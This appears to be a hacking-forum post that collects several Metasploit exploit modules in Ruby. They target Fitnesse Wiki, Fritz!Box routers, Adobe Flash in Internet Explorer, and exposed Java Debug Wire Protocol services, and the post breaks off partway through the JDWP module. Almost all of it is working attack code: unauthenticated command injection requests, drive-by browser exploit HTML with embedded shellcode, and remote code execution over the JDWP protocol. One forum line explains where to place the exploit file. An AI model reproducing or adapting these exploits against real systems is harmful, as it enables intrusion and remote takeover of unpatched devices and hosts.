• XSS.stack #1 – первый литературный журнал от юзеров форума

Модули для Metasploit Framework

Fitnesse Wiki Remote Command Execution Vulnerability

This Metasploit module exploits a vulnerability found in Fitnesse Wiki, version 20140201 and earlier.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fitnesse Wiki Remote Command Execution',
      'Description'    => %q{
        This module exploits a vulnerability found in Fitnesse Wiki, version 20140201
        and earlier.
      },
      'Author'         =>
        [
          'Jerzy Kramarz',  ## Vulnerability discovery
          'Veerendra G.G <veerendragg {at} secpod.com>', ## Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-1216' ],
          [ 'OSVDB', '103907' ],
          [ 'BID', '65921' ],
          [ 'URL', 'http://secpod.org/blog/?p=2311' ],
          [ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ],
          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ]
        ],
  
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd', ##
              ##'RequiredCmd'  => 'generic telnet',
              ## payloads cmd/windows/adduser and cmd/windows/generic works perfectly
            }
        },
      'Platform'       => %w{ win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 25 2014'))
  
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/'])
      ], self.class)
  end
  
  def check
    print_status("#{peer} - Trying to detect Fitnesse Wiki")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    })
  
    if res && res.code == 200 && res.body.include?(">FitNesse<")
      print_good("#{peer} - FitNesse Wiki Detected!")
      return Exploit::CheckCode::Detected
    end
  
    return Exploit::CheckCode::Safe
  end
  
  def http_send_command(command)
  
    ## Construct random page in WikiWord format
    uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7))
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?edit"
    })
  
    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  
    print_status("#{peer} - Retrieving edit time and ticket id")
  
    ## Get Edit Time and Ticket Id from the response
    res.body =~ /"editTime" value="((\d)+)"/
    edit_time = $1
  
    res.body =~ /"ticketId" value="((-?\d)+)"/
    ticket_id = $1
  
    ## Validate we are able to extract Edit Time and Ticket Id
    if !edit_time or !ticket_id
      print_error("#{peer} - Failed to get Ticket Id / Edit Time.")
      return
    end
  
    print_status("#{peer} - Attempting to create '#{uri}'")
  
    ## Construct Referer
    referer = "http://#{rhost}:#{rport}" + uri + "?edit"
  
    ## Construct command to be executed
    page_content = '!define COMMAND_PATTERN {%m}
!define TEST_RUNNER {' + command + '}'
  
    print_status("#{peer} - Injecting the payload")
    ## Construct POST request to create page with malicious commands
    ## inserted in the page
    res = send_request_cgi(
    {
      'uri'     => uri,
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'editTime' => edit_time,
          'ticketId' => ticket_id,
          'responder' => 'saveData',
          'helpText' => '',
          'suites' => '',
          '__EDITOR__1' => 'textarea',
          'pageContent' => page_content,
          'save' => 'Save',
        }
    })
  
    if res && res.code == 303
      print_status("#{peer} - Successfully created '#{uri}' with payload")
    end
  
    ## Execute inserted command
    print_status("#{peer} - Sending exploit request")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?test"
    })
  
    if res && res.code == 200
      print_status("#{peer} - Successfully sent exploit request")
    end
  
    ## Cleanup by deleting the created page
    print_status("#{peer} - Execting cleanup routine")
    referer = "http://#{rhost}:#{rport}" + uri + "?deletePage"
    res = send_request_cgi(
    {
      'uri'     => uri + "?deletePage",
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'confirmed' => 'Yes',
        }
    })
  end
  
  def exploit
    http_send_command(payload.encoded)
  end
end
 
# F002719D63D49CBA   1337day.com [2014-04-04]   A35597CEFF6A0D8C #
 
Fritz!Box Webcm Unauthenticated Command Injection Exploit
2014-04-08
Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection. This Metasploit module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerEcho
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Fritz!Box Webcm Unauthenticated Command Injection',
      'Description' => %q{
          Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
        This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
        following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
        7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
        6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
      },
      'Author'      =>
        [
          'unknown', # Vulnerability discovery
          'Fabian Braeunlein <fabian@breaking.systems>', #Metasploit PoC with wget method
          'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '103289' ],
          [ 'BID', '65520' ],
          [ 'URL', 'http://www.kapple.de/?p=75' ],                       #vulnerability details with PoC
          [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],          #probably the first published details (now censored)
          [ 'URL', 'http://pastebin.com/GnMKGmZ2' ],                     #published details uncensored from speckmarschall
          [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], #vendor site with a list of vulnerable devices
          [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] #wirteup with PoC
        ],
      'DisclosureDate' => 'Feb 11 2014',
      'Privileged'     => true,
      'Platform'       => 'linux',
      'Arch'           => ARCH_MIPSLE,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'Automatic Targeting', { } ],
        ],
      'DefaultTarget'  => 0
      ))
  end
 
  def check
    begin
      res = send_request_cgi({
        'uri'    => '/cgi-bin/webcm',
        'method'  => 'GET'
      })
 
      if res && [200, 301, 302].include?(res.code)
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
 
    Exploit::CheckCode::Unknown
  end
 
  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri'    => '/cgi-bin/webcm',
        'method' => 'GET',
        'vars_get' => {
          "var:lang" => "&#{cmd}",
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
 
  def exploit
    print_status("#{peer} - Trying to access the vulnerable URL...")
 
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end
 
    print_status("#{peer} - Exploiting...")
 
    execute_cmdstager(
      :linemax => 90
    )
  end
end
 
# 40A26E3E8D5AC298   1337day.com [2014-04-08]   C8CFE3BE58DDCE28 #
 
Adobe Flash Player Type Confusion Remote Code Execution

This Metasploit module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This Metasploit module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Type Confusion Remote Code Execution",
      'Description'    => %q{
        This module exploits a type confusion vulnerability found in the ActiveX
        component of Adobe Flash Player. This vulnerability was found exploited
        in the wild in November 2013. This module has been tested successfully
        on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
        over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'bannedit', # Exploit in the wild discoverer, analysis and reporting
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-5331' ],
          [ 'OSVDB', '100774'],
          [ 'BID', '64199'],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
          [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false,
          'EXITFUNC'             => "thread"
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 10 2013",
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    print_status("showme the money")
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")


    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=flash_payload%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end
 
Adobe Flash Player Integer Underflow Remote Code Execution

This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an integer underflow in several avm2 instructions, which can be turned into remote code execution under the context of the user, as exploited in the wild in February 2014. This Metasploit module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes rop chains for several Flash 11 versions, as exploited in the wild.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Integer Underflow Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
        before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
        integer underflow in several avm2 instructions, which can be turned into remote code
        execution under the context of the user, as exploited in the wild in February 2014. This
        module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
        SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
        rop chains for several Flash 11 versions, as exploited in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',     # vulnerability discovery and exploit in the wild
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0497' ],
          [ 'OSVDB', '102849' ],
          [ 'BID', '65327' ],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ],
          [ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false
        },
      'Platform'       => 'win',
      # Versions targeted in the wild:
      # [*] Windows 8:
      #   11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
      #   11,6,602,167, 11,6,602,171 ,11,6,602,180
      #   11,7,700,169, 11,7,700,202, 11,7,700,224
      # [*] Before windows 8:
      #   11,0,1,152,
      #   11,1,102,55, 11,1,102,62, 11,1,102,63
      #   11,2,202,228, 11,2,202,233, 11,2,202,235
      #   11,3,300,257, 11,3,300,273
      #   11,4,402,278
      #   11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
      #   11,6,602,168, 11,6,602,171, 11,6,602,180
      #   11,7,700,169, 11,7,700,202
      #   11,8,800,97, 11,8,800,50
     'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\./ }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 5 2014",
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)

    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    shellcode = get_payload(cli, target_info).unpack("H*")[0]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="id=<%=shellcode%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

Для работы сплоита, нужено файл положить в /metasploit/apps/pro/msf3/data/exploits/CVE-2014-0497/
 
Java Debug Wire Protocol Remote Code Execution

This Metasploit module abuses exposed Java Debug Wire Protocol services in order to execute arbitrary Java code remotely. It just abuses the protocol features, since no authentication is required if the service is enabled.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  HANDSHAKE                 = "JDWP-Handshake"

  REQUEST_PACKET_TYPE       = 0x00
  REPLY_PACKET_TYPE         = 0x80

  # Command signatures
  VERSION_SIG               = [1, 1]
  CLASSESBYSIGNATURE_SIG    = [1, 2]
  ALLCLASSES_SIG            = [1, 3]
  ALLTHREADS_SIG            = [1, 4]
  IDSIZES_SIG               = [1, 7]
  CREATESTRING_SIG          = [1, 11]
  SUSPENDVM_SIG             = [1, 8]
  RESUMEVM_SIG              = [1, 9]
  SIGNATURE_SIG             = [2, 1]
  FIELDS_SIG                = [2, 4]
  METHODS_SIG               = [2, 5]
  GETVALUES_SIG             = [2, 6]
  CLASSOBJECT_SIG           = [2, 11]
  SETSTATICVALUES_SIG       = [3, 2]
  INVOKESTATICMETHOD_SIG    = [3, 3]
  CREATENEWINSTANCE_SIG     = [3, 4]
  REFERENCETYPE_SIG         = [9, 1]
  INVOKEMETHOD_SIG          = [9, 6]
  STRINGVALUE_SIG           = [10, 1]
  THREADNAME_SIG            = [11, 1]
  THREADSUSPEND_SIG         = [11, 2]
  THREADRESUME_SIG          = [11, 3]
  THREADSTATUS_SIG          = [11, 4]
  EVENTSET_SIG              = [15, 1]
  EVENTCLEAR_SIG            = [15, 2]
  EVENTCLEARALL_SIG         = [15, 3]

  # Other codes
  MODKIND_COUNT             = 1
  MODKIND_THREADONLY        = 2
  MODKIND_CLASSMATCH        = 5
  MODKIND_LOCATIONONLY      = 7
  MODKIND_STEP              = 10
  EVENT_BREAKPOINT          = 2
  EVENT_STEP                = 1
  SUSPEND_EVENTTHREAD       = 1
  SUSPEND_ALL               = 2
  NOT_IMPLEMENTED           = 99
  VM_DEAD                   = 112
  INVOKE_SINGLE_THREADED    = 2
  TAG_OBJECT                = 76
  TAG_STRING                = 115
  TYPE_CLASS                = 1
  TAG_ARRAY                 = 91
  TAG_VOID                  = 86
  TAG_THREAD                = 116
  STEP_INTO                 = 0
  STEP_MIN                  = 0
  THREAD_SLEEPING_STATUS     = 2

  def initialize
    super(
      'Name'           => 'Java Debug Wire Protocol Remote Code Execution',
      'Description'    => %q{
        This module abuses exposed Java Debug Wire Protocol services in order
        to execute arbitrary Java code remotely. It just abuses the protocol
        features, since no authentication is required if the service is enabled.
      },
      'Author'         => [
        'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
        'Christophe Alladoum', # JDWP Analysis and Exploit
        'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
      ],
      'References'     =>
        [
          ['OSVDB', '96066'],
          ['EDB', '27179'],
          ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
          ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
          ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
          ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
          ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
        ],
      'Platform'       => %w{ linux win },
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'        => 2048,
          'BadChars'    => '',
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux x86 (Native Payload)',
            {
                'Platform' => 'linux'
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Mar 12 2010'
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
        OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
      ], self.class)
  end

  def check
    connect
    res = handshake
    disconnect

    if res.nil?
      return Exploit::CheckCode::Unknown
    elsif res == HANDSHAKE
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end


  def peer
    "#{rhost}:#{rport}"
  end

  def default_timeout
    datastore['RESPONSE_TIMEOUT']
  end

  # Establishes handshake with the server
  def handshake
    sock.put(HANDSHAKE)
    return sock.get(datastore['RESPONSE_TIMEOUT'])
  end

  # Forges packet for JDWP protocol
  def create_packet(cmdsig, data="")
    flags = 0x00
    cmdset, cmd = cmdsig
    pktlen = data.length + 11
    buf = [pktlen, @my_id, flags, cmdset, cmd]
    pkt = buf.pack("NNCCC")
    pkt << data
    @my_id += 2
    pkt
  end

  # Reads packet response for JDWP protocol
  def read_reply(timeout = default_timeout)
    response = sock.get(timeout)
    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
    pktlen, id, flags, errcode = response.unpack('NNCn')
    response.slice!(0..10)
    if errcode != 0 && flags == REPLY_PACKET_TYPE
      fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
    end
    response
  end

  # Returns the characters contained in the string defined in target VM
  def solve_string(data)
    sock.put(create_packet(STRINGVALUE_SIG, data))
    response = read_reply
    return "" unless response
    return read_string(response)
  end

  # Unpacks received string structure from the server response into a normal string
  def read_string(data)
    data_len = data.unpack('N')[0]
    data.slice!(0..3)
    return data.slice!(0,data_len)
  end

  # Creates a new string object in the target VM and returns its id
  def create_string(data)
    buf = build_string(data)
    sock.put(create_packet(CREATESTRING_SIG, buf))
    buf = read_reply
    return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
  end

  # Packs normal string into string structure for target VM
  def build_string(data)
    ret = [data.length].pack('N')
    ret << data

    ret
  end

  # Pack Fixnum for JDWP protocol
  def format(fmt, value)
    if fmt == "L" || fmt == 8
      return [value].pack('Q>')
    elsif fmt == "I" || fmt == 4
      return [value].pack('N')
    end

    fail_with(Failure::Unknown, "Unknown format")
  end

  # Unpack Fixnum from JDWP protocol
  def unformat(fmt, value)
    if fmt == "L" || fmt == 8
      return value[0..7].unpack('Q>')[0]
    elsif fmt == "I" || fmt == 4
      return value[0..3].unpack('N')[0]
    end

    fail_with(Failure::Unknown, "Unknown format")
  end

  # Parses given data according to a set of formats
  def parse_entries(buf, formats, explicit=true)
    entries = []

    if explicit
      nb_entries = buf.unpack('N')[0]
      buf.slice!(0..3)
    else
      nb_entries = 1
    end

    nb_entries.times do |var|

      if var != 0 && var % 1000 == 0
        vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
      end

      data = {}

      formats.each do |fmt,name|
        if fmt == "L" || fmt == 8
          data[name] = buf.unpack('Q>')[0]
          buf.slice!(0..7)
        elsif fmt == "I" || fmt == 4
          data[name] = buf.unpack('N')[0]
          buf.slice!(0..3)
        elsif fmt == "S"
          data_len = buf.unpack('N')[0]
          buf.slice!(0..3)
          data[name] = buf.slice!(0,data_len)
        elsif fmt == "C"
          data[name] = buf.unpack('C')[0]
          buf.slice!(0)
        elsif fmt == "Z"
          t = buf.unpack('C')[0]
          buf.slice!(0)
          if t == 115
            data[name] = solve_string(buf.slice!(0..7))
          elsif t == 73
            data[name], buf = buf.unpack('NN')
          end
        else
          fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
        end

      end
      entries.append(data)
    end

    entries
  end

  # Gets the sizes of variably-sized data types in the target VM
  def get_sizes
    formats = [
        ["I", "fieldid_size"],
        ["I", "methodid_size"],
        ["I", "objectid_size"],
        ["I", "referencetypeid_size"],
        ["I", "frameid_size"]
    ]
    sock.put(create_packet(IDSIZES_SIG))
    response = read_reply
    entries = parse_entries(response, formats, false)
    entries.each { |e| @vars.merge!(e) }
  end

  # Gets the JDWP version implemented by the target VM
  def get_version
    formats = [
        ["S", "descr"],
        ["I", "jdwp_major"],
        ["I", "jdwp_minor"],
        ["S", "vm_version"],
        ["S", "vm_name"]
    ]
    sock.put(create_packet(VERSION_SIG))
    response = read_reply
    entries = parse_entries(response, formats, false)
    entries.each { |e| @vars.merge!(e) }
  end

  def version
    "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
  end

  def is_java_eight
    version.downcase =~ /1[.]8[.]/
  end

  # Returns reference for all threads currently running on target VM
  def get_all_threads
    sock.put(create_packet(ALLTHREADS_SIG))
    response = read_reply
    num_threads = response.unpack('N').first
    response.slice!(0..3)

    size = @vars["objectid_size"]
    num_threads.times do
      t_id = unformat(size, response[0..size-1])
      @threads[t_id] = nil
      response.slice!(0..size-1)
    end
  end

  # Returns reference types for all classes currently loaded by the target VM
  def get_all_classes
    return unless @classes.empty?

    formats = [
      ["C", "reftype_tag"],
      [@vars["referencetypeid_size"], "reftype_id"],
      ["S", "signature"],
      ["I", "status"]
    ]
    sock.put(create_packet(ALLCLASSES_SIG))
    response = read_reply
    @classes.append(parse_entries(response, formats))
  end

  # Checks if specified class is currently loaded by the target VM and returns it
  def get_class_by_name(name)
    @classes.each do |entry_array|
      entry_array.each do |entry|
        if entry["signature"].downcase == name.downcase
          return entry
        end
      end
    end

    nil
  end

  # Returns information for each method in a reference type (ie. object). Inherited methods are not included.
  # The list of methods will include constructors (identified with the name "<init>")
  def get_methods(reftype_id)
    if @methods.has_key?(reftype_id)
      return @methods[reftype_id]
    end

    formats = [
        [@vars["methodid_size"], "method_id"],
        ["S", "name"],
        ["S", "signature"],
        ["I", "mod_bits"]
    ]
    ref_id = format(@vars["referencetypeid_size"],reftype_id)
    sock.put(create_packet(METHODS_SIG, ref_id))
    response = read_reply
    @methods[reftype_id] = parse_entries(response, formats)
  end

  # Returns information for each field in a reference type (ie. object)
  def get_fields(reftype_id)
    formats = [
            [@vars["fieldid_size"], "field_id"],
            ["S", "name"],
            ["S", "signature"],
            ["I", "mod_bits"]
    ]
    ref_id = format(@vars["referencetypeid_size"],reftype_id)
    sock.put(create_packet(FIELDS_SIG, ref_id))
    response = read_reply
    fields = parse_entries(response, formats)

    fields
  end

  # Returns the value of one static field of the reference type. The field must be member of the reference type
  # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
  # for example, the values of private fields can be obtained.
  def get_value(reftype_id, field_id)
    data = format(@vars["referencetypeid_size"],reftype_id)
    data << [1].pack('N')
    data << format(@vars["fieldid_size"],field_id)

    sock.put(create_packet(GETVALUES_SIG, data))
    response = read_reply
    num_values = response.unpack('N')[0]

    unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
      fail_with(Failure::Unknown, "Bad response when getting value for field")
    end

    response.slice!(0..4)

    len = @vars["objectid_size"]
    value = unformat(len, response)

    value
  end

  # Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
  # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
  # the field's type exactly. For object values, there must exist a widening reference conversion from the
  # value's type to the field's type and the field's type must be loaded.
  def set_value(reftype_id, field_id, value)
    data = format(@vars["referencetypeid_size"],reftype_id)
    data << [1].pack('N')
    data << format(@vars["fieldid_size"],field_id)
    data << format(@vars["objectid_size"],value)

    sock.put(create_packet(SETSTATICVALUES_SIG, data))
    read_reply
  end


  # Checks if specified method is currently loaded by the target VM and returns it
  def get_method_by_name(classname, name, signature = nil)
    @methods[classname].each do |entry|
        if signature.nil?
          return entry if entry["name"].downcase == name.downcase
        else
          if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
            return entry
          end
        end
    end

    nil
  end

  # Checks if specified class and method are currently loaded by the target VM and returns them
  def get_class_and_method(looked_class, looked_method, signature = nil)
    target_class = get_class_by_name(looked_class)
    unless target_class
      fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
    end

    get_methods(target_class["reftype_id"])
    target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
    unless target_method
      fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
    end

    return target_class, target_method
  end

  # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
  def str_to_fq_class(s)
    i = s.rindex(".")
    unless i
      fail_with(Failure::BadConfig, 'Bad defined break class')
    end

    method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string

    classname = 'L'
    classname << s[0..i-1].gsub(/[.]/, '/')
    classname << ';'

    return classname, method
  end

  # Gets the status of a given thread
  def thread_status(thread_id)
    sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
